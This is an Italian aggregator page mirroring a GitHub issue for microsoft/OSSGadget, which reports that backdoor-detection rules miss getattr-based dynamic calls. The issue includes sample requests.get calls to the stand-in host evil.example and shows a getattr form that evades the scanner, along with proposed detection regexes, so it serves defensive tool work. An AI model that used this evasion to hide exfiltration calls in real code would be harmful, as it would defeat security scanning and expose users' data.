[BUG] BD000700 (and BD000102) miss getattr-based dynamic calls

Aperta
#539 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
3/5
Tempo stimato
1-2 giorni
Idoneità per principianti
62/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Attiva
Stack tecnologico
csharp, python
Ambito
devtools, security

Direzione di ricerca

Start by reading the BD000700 and BD000102 rule definitions and the rule matching path in the C# detector; the payload names data_exfiltration.json and code_execution.json. Then find the existing regression tests for these rules and run them. Add coverage for literal and constant getattr calls, and consider whether to implement the suggested patterns or normalization; done means both rules detect the reported dynamic forms without breaking existing matches.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Case Study

Literal attribute call (detected):

import requests

requests.get("http://evil.example/x")

Detected as: Security.Backdoor.DataExFiltration (rule BD000700, confidence Low).

Semantically identical dynamic dispatch in normal Python code, for example config-driven or plugin-driven code (not detected):

import requests

method = "get"
getattr(requests, method)("http://evil.example/x")

Result: "No tags were found."

Current rules

BD000700 (data_exfiltration.json): pattern is the regex

\.(request|post|get)\(

with scopes ["code","comment"] and confidence low.

BD000102 (code_execution.json): pattern is the string

requests.get

with scope code and confidence medium.

Both are pure text matches. The first requires the byte sequence ".get(" and the second requires "requests.get". Neither sequence exists in getattr(requests, method)(...), so the rules can never fire for a dynamic call. This also fails for the constant form getattr(requests, "get")(...).

Suggested Fix

Add a getattr variant, for example for BD000700:

getattr\s*\(\s*[\w.]+\s*,\s*['"](get|post|request)['"]\s*\)\s*\(

and for BD000102:

getattr\s*\(\s*requests\s*,\s*['"](get|post)['"]\s*\)

A more general fix is a small normalization pass that rewrites constant getattr(mod, "attr") calls to mod.attr (and folds constant attribute names) before rules run. Please add regression tests for both direct and getattr calls.

Reproduction results

Environment: OSSGadget 0.2.38 (ApplicationInspector), .NET 8, Windows.

Commands:

ossgadget detect-backdoor -f text ./ori
ossgadget detect-backdoor -f text ./adv

Results:

ori: Security.Backdoor.DataExFiltration (Low)
adv: No tags were found.

Attachments: ori.py, adv.py

adv.py
ori.py

Lingua principale
C#
Stelle
373
Fork
57
Merge medio
3h 19m
PR unite (30g)
2

Preparare l'ambiente

Apri in Codespaces

Avvia il container di sviluppo del progetto nel browser, con il tuo account GitHub.

  • Include un Dockerfile o un file Docker Compose
  • Nessun modello di pull request
  • Nessuna guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di microsoft/OSSGadget

Tutte le issue di microsoft/OSSGadget

Issue simili

Altre issue su C#

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.